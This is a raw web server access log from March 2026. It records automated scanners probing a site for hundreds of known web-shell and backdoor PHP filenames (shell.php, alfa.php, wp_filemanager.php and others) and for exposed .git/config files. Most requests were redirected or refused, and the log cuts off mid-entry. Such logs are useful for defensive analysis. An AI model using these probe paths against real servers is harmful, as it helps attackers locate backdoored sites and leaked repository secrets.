"-" 4.204.200.32 - - [27/Mar/2026:03:56:57 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:57:12 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:00:33 +0300] "GET /gaewowp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:08:00 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:10:17 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:10:52 +0300] "GET /congeree.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:11:48 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:12:03 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:12:19 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:42:41 +0300] "GET /dk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:45:16 +0300] "GET /health.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:47:23 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:52:46 +0300] "GET /yawa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:52:47 +0300] "GET /vaza.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:53:31 +0300] "GET /wssw.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:54:34 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:54:57 +0300] "GET /bhm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:55:07 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:55:16 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:55:31 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:55:31 +0300] "GET /xwpg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:58:52 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:58:53 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:00:08 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:00:48 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:02:01 +0300] "GET /ws45.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:02:31 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:03:17 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:08:54 +0300] "GET /wp-sign.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:10:32 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:11:19 +0300] "GET /enum.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:11:34 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:39:38 +0300] "GET /lfm.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:39:53 +0300] "GET /abca.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:42:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:42:19 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:43:25 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:43:40 +0300] "GET /wp-x7.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:45:10 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:45:57 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:46:55 +0300] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:47:45 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:48:12 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:50:15 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:50:45 +0300] "GET /help/crnpwfiu.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:50:54 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:51:09 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:56:30 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:56:31 +0300] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:57:42 +0300] "GET /zsaow.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:58:22 +0300] "GET /great.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:59:08 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:59:23 +0300] "GET /wp-zx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:01:31 +0300] "GET /44.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:02:16 +0300] "GET /z3ki.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:04:13 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:04:26 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:04:41 +0300] "GET /app.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:06:19 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:06:47 +0300] "GET /class-wp-l10n-cache.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:07:45 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:08:27 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:09:09 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:09:38 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:12:34 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:38:50 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:38:51 +0300] "GET /tx22.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:39:21 +0300] "GET /fw/34.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:40:37 +0300] "GET /xl2024.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:41:01 +0300] "GET /AAAA.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:42:14 +0300] "GET /bays.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:45:31 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:47:10 +0300] "GET /multirole.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:49:06 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:52:31 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:53:55 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:56:15 +0300] "GET /lwvwpmg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:01:16 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:02:46 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:02:47 +0300] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:03:02 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:05:11 +0300] "GET /1100.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:06:59 +0300] "GET /2ksm17n.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:07:22 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:09:23 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:42:34 +0300] "GET /v1.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:42:50 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:44:40 +0300] "GET /233.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:45:01 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:46:12 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:46:40 +0300] "GET /ar.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:48:52 +0300] "GET /ex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:49:21 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:51:24 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:56:42 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:58:37 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:59:38 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:03:29 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:10:41 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:39:06 +0300] "GET /blurbs.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:40:22 +0300] "GET /ddd.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:41:15 +0300] "GET /fde.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:41:36 +0300] "GET /gin.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:41:51 +0300] "GET /ta.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:48:27 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:54:10 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:54:42 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:54:42 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:58:12 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:59:53 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:05:41 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:06:11 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:08:12 +0300] "GET /albin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:09:54 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:39:28 +0300] "GET /fw/faiyy.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:41:27 +0300] "GET /mjde.php HTTP/1.1" 301 795 "-" "-" 74.243.251.125 - - [27/Mar/2026:03:42:29 +0300] "GET /x0rg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:42:49 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:43:04 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:43:55 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:44:10 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:44:53 +0300] "GET /ay.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:45:42 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:46:27 +0300] "GET /unloathness.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:49:00 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:49:36 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:49:47 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:49:47 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:53:46 +0300] "GET /ws73.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:55:45 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:57:27 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:00:23 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:04:56 +0300] "GET /ckk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:07:07 +0300] "GET //content.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:07:30 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:10:06 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:11:04 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:43:18 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:47:57 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:52:04 +0300] "GET /public/ws38.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:53:16 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:03:57:57 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:01:01 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:01:46 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:03:44 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:03:58 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:05:26 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:05:56 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:06:34 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [27/Mar/2026:04:08:42 +0300] "GET /wbbw.php HTTP/1.1" 301 795 "-" "-" 94.247.172.129 - - [27/Mar/2026:06:17:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)" 116.76.36.199 - - [27/Mar/2026:06:27:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.3371.152 Safari/537.36 QIHU 360SE" 163.125.185.191 - - [27/Mar/2026:06:28:39 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 101.42.46.71 - - [27/Mar/2026:04:43:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.206.229 - - [27/Mar/2026:07:40:33 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:41:01 +0300] "GET /xv.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:41:39 +0300] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:42:15 +0300] "GET /file.php? HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:43:30 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:23 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 93.123.109.152 - - [27/Mar/2026:08:02:22 +0300] "GET /dev/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 52.169.206.229 - - [27/Mar/2026:07:40:46 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:41:16 +0300] "GET /x56.php HTTP/1.1" 301 795 "-" "-" 93.123.109.152 - - [27/Mar/2026:08:02:22 +0300] "GET /wp-content/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 69.171.231.24 - - [27/Mar/2026:08:31:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 139.59.23.194 - - [27/Mar/2026:07:17:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 52.169.206.229 - - [27/Mar/2026:07:43:23 +0300] "GET /z60.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:14 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:31 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:36 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:39:47 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:41:54 +0300] "GET /x50.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:43:06 +0300] "GET /atx.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:43:36 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:43:55 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:09 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:45:05 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 93.123.109.152 - - [27/Mar/2026:08:02:22 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 52.169.206.229 - - [27/Mar/2026:07:38:58 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:39:26 +0300] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:40:07 +0300] "GET /fwe.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:41:23 +0300] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:42:04 +0300] "GET /fv.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:42:22 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:42:37 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:42:44 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:43:16 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:43:40 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 93.123.109.152 - - [27/Mar/2026:08:02:22 +0300] "GET /wp/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 52.169.206.229 - - [27/Mar/2026:07:39:35 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:50 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 43.134.186.61 - - [27/Mar/2026:07:47:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.123.109.152 - - [27/Mar/2026:08:02:22 +0300] "GET /wp-admin/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 40.80.81.138 - - [27/Mar/2026:08:54:36 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 52.169.206.229 - - [27/Mar/2026:07:38:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:39:11 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:39:41 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:39:56 +0300] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:40:18 +0300] "GET /images/m.php HTTP/1.1" 301 795 "-" "-" 52.169.206.229 - - [27/Mar/2026:07:44:01 +0300] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 139.59.23.194 - - [27/Mar/2026:07:17:39 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 52.169.206.229 - - [27/Mar/2026:07:42:52 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 43.159.152.4 - - [27/Mar/2026:08:50:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 74.235.238.88 - - [27/Mar/2026:10:11:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.91.231.89 - - [27/Mar/2026:10:51:37 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 87.121.84.97 - - [27/Mar/2026:10:40:20 +0300] "GET /plugins/jQuery-File-Upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 45.205.25.149 - - [27/Mar/2026:11:21:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 2.57.122.13 - - [27/Mar/2026:11:53:45 +0300] "GET /v1/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 2.57.122.13 - - [27/Mar/2026:11:53:45 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 60.188.57.0 - - [27/Mar/2026:11:42:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 2.57.122.13 - - [27/Mar/2026:11:53:45 +0300] "GET /backup/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 2.57.122.13 - - [27/Mar/2026:11:53:45 +0300] "GET /api/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 2.57.122.13 - - [27/Mar/2026:11:53:45 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 2.57.122.13 - - [27/Mar/2026:11:53:45 +0300] "GET /wp/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" 69.171.249.112 - - [27/Mar/2026:13:20:07 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 43.159.149.216 - - [27/Mar/2026:14:24:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 197.155.95.4 - - [27/Mar/2026:13:37:06 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows 